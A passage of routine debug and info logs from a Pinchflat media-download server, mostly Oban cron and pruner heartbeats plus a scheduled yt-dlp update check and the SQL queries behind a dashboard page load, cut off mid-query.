{"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.490 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:47:19.296 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:49.297 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.491 [info] {"source":"oban","duration":311,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:48:19.298 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:49.299 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.492 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:49:19.300 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:49.301 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.493 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:50:19.302 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:49.304 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.494 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:51:19.306 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:49.308 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.496 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:52:19.310 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:49.311 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.497 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:53:19.312 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:49.313 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.497 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:54:19.314 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:49.315 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.498 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:55:19.316 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:49.317 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.499 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:56:19.319 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:49.320 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.500 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:57:19.321 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:49.322 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.501 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:58:19.323 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:49.324 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.502 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:59:19.325 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:49.326 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.503 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:00:19.327 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:49.329 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.504 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:01:19.330 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:49.331 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.505 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:02:19.332 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:49.334 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.507 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:03:19.335 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:49.337 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.507 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:04:19.338 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:49.339 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.508 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:05:19.340 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:49.341 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.509 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:06:19.342 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:49.343 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.511 [info] {"source":"oban","duration":467,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:07:19.344 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:49.346 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.512 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:08:19.347 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:49.348 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.512 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:09:19.349 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:49.350 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.513 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:10:19.351 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:49.352 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.514 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:11:19.353 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:49.355 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.515 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:12:19.356 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:49.358 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.516 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:13:19.360 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:49.361 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.517 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:14:19.362 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:49.363 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.518 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:15:19.364 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:49.365 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.520 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:16:19.366 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:49.368 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.520 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:17:19.369 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:49.370 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.521 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:18:19.371 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:49.372 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.522 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:19:19.373 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:49.375 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.524 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:20:19.377 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:49.379 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.524 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:21:19.381 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:49.382 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.525 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:22:19.383 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:49.384 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.527 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:23:19.386 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:49.387 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.528 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:24:19.389 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:49.390 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.528 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:25:19.391 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:49.392 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.529 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:26:19.393 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:49.394 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.530 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:27:19.396 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:49.397 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.531 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:28:19.399 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:49.401 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.532 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:29:19.402 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:49.404 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.533 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:30:19.405 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:49.406 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.534 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:31:19.408 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:49.409 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.535 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:32:19.411 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:49.413 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.536 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:33:19.414 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:49.415 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.537 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:34:19.416 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:49.417 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.538 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:35:19.419 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:49.421 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.539 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:36:19.423 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:49.424 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.540 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:37:19.425 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:49.426 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.541 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:38:19.427 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:49.428 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.542 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:39:19.429 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:49.430 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.544 [info] {"source":"oban","duration":1022,"event":"plugin:stop","jobs":[1718],"plugin":"Oban.Plugins.Cron"} 09:40:00.551 [info] {"args":{},"id":1718,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"system_time":1774878000551392901,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 09:40:00.551 [info] Updating yt-dlp 09:40:00.551 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 09:40:01.684 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 09:40:01.684 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 09:40:02.636 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 09:40:02.636 [debug] QUERY OK source="settings" db=0.3ms idle=1938.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:02.637 [info] {"args":{},"id":1718,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":2085597,"event":"job:stop","queue_time":550507,"attempt":1,"tags":["local_data"]} 09:40:19.432 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:49.434 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.545 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:41:19.435 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:49.437 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.546 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:42:19.438 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:49.439 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.547 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:43:19.440 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:32.988 [info] GET / 09:43:32.988 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 09:43:32.988 [debug] QUERY OK source="settings" db=0.1ms idle=391.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:43:32.988 [debug] QUERY OK source="media_profiles" db=0.0ms idle=290.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 09:43:32.988 [debug] QUERY OK source="sources" db=0.0ms idle=291.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 09:43:32.998 [debug] QUERY OK source="media_items" db=9.7ms idle=291.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:43:32.999 [debug] QUERY OK source="media_items" db=0.3ms idle=301.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:43:32.999 [debug] QUERY OK source="settings" db=0.1ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:43:32.999 [debug] QUERY OK source="settings" db=0.0ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:43:33.000 [debug] QUERY OK source="settings" db=0.1ms idle=11.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:43:33.001 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 09:43:33.001 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:43:33.002 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:43:33.002 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 09:43:33.007 [debug] QUERY OK source="media_items" db=3.1ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 09:43:33.008 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT 